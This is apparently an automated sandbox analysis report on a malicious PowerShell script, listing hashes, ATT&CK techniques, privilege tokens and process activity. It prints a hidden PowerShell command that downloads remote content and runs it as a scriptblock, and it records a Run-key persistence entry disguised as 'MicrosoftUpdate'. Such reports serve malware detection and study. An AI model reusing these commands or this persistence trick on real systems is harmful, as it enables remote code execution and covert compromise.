8c8f5f095d65d3f33ce89a77dfbe84a79bb29d2e0073a57a23dcc014d0683c2e

Analysis

max time kernel
149s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
31/03/2026, 14:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8c8f5f095d65d3f33ce89a77dfbe84a79bb29d2e0073a57a23dcc014d0683c2e.ps1
Size 10KB
Sample260331-r5d1dsev3t
SHA256 8c8f5f095d65d3f33ce89a77dfbe84a79bb29d2e0073a57a23dcc014d0683c2e
MD5 cffe67da05e2c61f7653d360c652995b
SHA1 3b28f21fce62464b2b9da544ee389d4f04d8213e
SHA512 99b107c180bfe2430b0580aa9c9a475b91072c7caa563a78d133d54b6395007353297b791a685944d4c7ff2157166763bd5887cc00b3342458fe9b3767bc0239
SSDEEP 192:b9u9gG89mD+SOzuahCnGX1pybp0j5PWFmFBiMluIY26qb7cTOXQWumPTvCfuYRN9:b4KG8MwzuaEnGjPWFMBiM9Yy/LCfj7Hr
TLSH
T1F6328310391BD02456F76329DE57E448FF26413B23651410BEEEC6D42FB096AC6B8FAE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2700	PowerShell.exe
1800	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3119821332-640943685-2562343641-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate = "C:\\ProgramData\\system.bat"	PowerShell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2700	PowerShell.exe
2700	PowerShell.exe
1800	powershell.exe
1800	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2700	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	2700	PowerShell.exe
Token: SeSecurityPrivilege	2700	PowerShell.exe
Token: SeTakeOwnershipPrivilege	2700	PowerShell.exe
Token: SeLoadDriverPrivilege	2700	PowerShell.exe
Token: SeSystemProfilePrivilege	2700	PowerShell.exe
Token: SeSystemtimePrivilege	2700	PowerShell.exe
Token: SeProfSingleProcessPrivilege	2700	PowerShell.exe
Token: SeIncBasePriorityPrivilege	2700	PowerShell.exe
Token: SeCreatePagefilePrivilege	2700	PowerShell.exe
Token: SeBackupPrivilege	2700	PowerShell.exe
Token: SeRestorePrivilege	2700	PowerShell.exe
Token: SeShutdownPrivilege	2700	PowerShell.exe
Token: SeDebugPrivilege	2700	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	2700	PowerShell.exe
Token: SeRemoteShutdownPrivilege	2700	PowerShell.exe
Token: SeUndockPrivilege	2700	PowerShell.exe
Token: SeManageVolumePrivilege	2700	PowerShell.exe
Token: 33	2700	PowerShell.exe
Token: 34	2700	PowerShell.exe
Token: 35	2700	PowerShell.exe
Token: 36	2700	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	2700	PowerShell.exe
Token: SeSecurityPrivilege	2700	PowerShell.exe
Token: SeTakeOwnershipPrivilege	2700	PowerShell.exe
Token: SeLoadDriverPrivilege	2700	PowerShell.exe
Token: SeSystemProfilePrivilege	2700	PowerShell.exe
Token: SeSystemtimePrivilege	2700	PowerShell.exe
Token: SeProfSingleProcessPrivilege	2700	PowerShell.exe
Token: SeIncBasePriorityPrivilege	2700	PowerShell.exe
Token: SeCreatePagefilePrivilege	2700	PowerShell.exe
Token: SeBackupPrivilege	2700	PowerShell.exe
Token: SeRestorePrivilege	2700	PowerShell.exe
Token: SeShutdownPrivilege	2700	PowerShell.exe
Token: SeDebugPrivilege	2700	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	2700	PowerShell.exe
Token: SeRemoteShutdownPrivilege	2700	PowerShell.exe
Token: SeUndockPrivilege	2700	PowerShell.exe
Token: SeManageVolumePrivilege	2700	PowerShell.exe
Token: 33	2700	PowerShell.exe
Token: 34	2700	PowerShell.exe
Token: 35	2700	PowerShell.exe
Token: 36	2700	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	2700	PowerShell.exe
Token: SeSecurityPrivilege	2700	PowerShell.exe
Token: SeTakeOwnershipPrivilege	2700	PowerShell.exe
Token: SeLoadDriverPrivilege	2700	PowerShell.exe
Token: SeSystemProfilePrivilege	2700	PowerShell.exe
Token: SeSystemtimePrivilege	2700	PowerShell.exe
Token: SeProfSingleProcessPrivilege	2700	PowerShell.exe
Token: SeIncBasePriorityPrivilege	2700	PowerShell.exe
Token: SeCreatePagefilePrivilege	2700	PowerShell.exe
Token: SeBackupPrivilege	2700	PowerShell.exe
Token: SeRestorePrivilege	2700	PowerShell.exe
Token: SeShutdownPrivilege	2700	PowerShell.exe
Token: SeDebugPrivilege	2700	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	2700	PowerShell.exe
Token: SeRemoteShutdownPrivilege	2700	PowerShell.exe
Token: SeUndockPrivilege	2700	PowerShell.exe
Token: SeManageVolumePrivilege	2700	PowerShell.exe
Token: 33	2700	PowerShell.exe
Token: 34	2700	PowerShell.exe
Token: 35	2700	PowerShell.exe
Token: 36	2700	PowerShell.exe

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\8c8f5f095d65d3f33ce89a77dfbe84a79bb29d2e0073a57a23dcc014d0683c2e.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w h -c "& ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content))) ''"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 5KB
SHA256 91e139cd4d0909493b6f280839a4623fa5cec8ebdbcaf99ca5fe1f77499b2caf
MD5 745cb94eda05963c1359612173cc288d
SHA1 d5f6b8003b880349600ce64dddd507c283aa0dd8
SHA512 b36635fea300f2aef8acf708e5f7670f6d3f29bed0aa990d1dd07936b3fc3d0b29d3812e23163a20bf208f906d14bb3b729f224a6ce71b7ff6435bc99913f7f1
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqnm7RIz+cBPztiNLWPiNyDxh0nRAy6Fcz:iq4uYqGEUdncqKXq3qotzYuWqcIz+QKx
TLSH
T1E4B1FF367375E0D4CC663B07192C19D463AF439AEA58AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 20f6ef281247a10debac96ea89d1a7defe668d957baf844bc6574b8e9f3b0360
MD5 64bfbb30c3c8a91e4d902466628e4757
SHA1 8c247137976158290a50e83099e33ce91d625830
SHA512 44062fe765671eb8c5df7f48857f74f8ed379754dedd1ab8207f0ae5d53bb7a18cae93b2b4b5d0a21c536c656319ef984a3c5ba24e6b67032beccff10ae3e078
TLSH
T187217C33B3ACC525C8D9157A209C9D00B275C3C7449FCF8B6B84C219957FAD9DB545A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ypap2fel.45i.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ypap2fel.45i.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1800-45-0x00000209E0020000-0x00000209E0030000-memory.dmp

Download

memory/1800-55-0x00000209C7D80000-0x00000209C7D8C000-memory.dmp

Download

memory/1800-56-0x00000209C7DB0000-0x00000209C7DC2000-memory.dmp

Download

memory/1800-46-0x00000209E0020000-0x00000209E0030000-memory.dmp

Download

memory/2700-25-0x000002856C8C0000-0x000002856C8D0000-memory.dmp

Download

memory/2700-35-0x000002856CA00000-0x000002856CA08000-memory.dmp

Download

memory/2700-20-0x000002856CF30000-0x000002856CF5A000-memory.dmp

Download

memory/2700-21-0x000002856CF30000-0x000002856CF54000-memory.dmp

Download

memory/2700-22-0x000002856C8C0000-0x000002856C8D0000-memory.dmp

Download

memory/2700-0-0x000002856C8C0000-0x000002856C8D0000-memory.dmp

Download

memory/2700-32-0x000002856C9E0000-0x000002856C9FC000-memory.dmp

Download

memory/2700-33-0x000002856C9D0000-0x000002856C9DA000-memory.dmp

Download

memory/2700-34-0x000002856CF50000-0x000002856CF6A000-memory.dmp

Download

memory/2700-19-0x000002856C9A0000-0x000002856C9AA000-memory.dmp

Download

memory/2700-36-0x000002856CF30000-0x000002856CF36000-memory.dmp

Download

memory/2700-37-0x000002856CF40000-0x000002856CF4A000-memory.dmp

Download

memory/2700-41-0x000002856C3D0000-0x000002856C3E2000-memory.dmp

Download

memory/2700-40-0x000002856A9D0000-0x000002856A9DC000-memory.dmp

Download

memory/2700-18-0x000002856CC20000-0x000002856CCD3000-memory.dmp

Download

memory/2700-17-0x000002856C9B0000-0x000002856C9CC000-memory.dmp

Download

memory/2700-10-0x00007FF486A10000-0x00007FF486A20000-memory.dmp

Download

memory/2700-9-0x000002856C8C0000-0x000002856C8D0000-memory.dmp

Download

memory/2700-8-0x000002856C940000-0x000002856C962000-memory.dmp

Download

memory/2700-1-0x000002856C8C0000-0x000002856C8D0000-memory.dmp

Download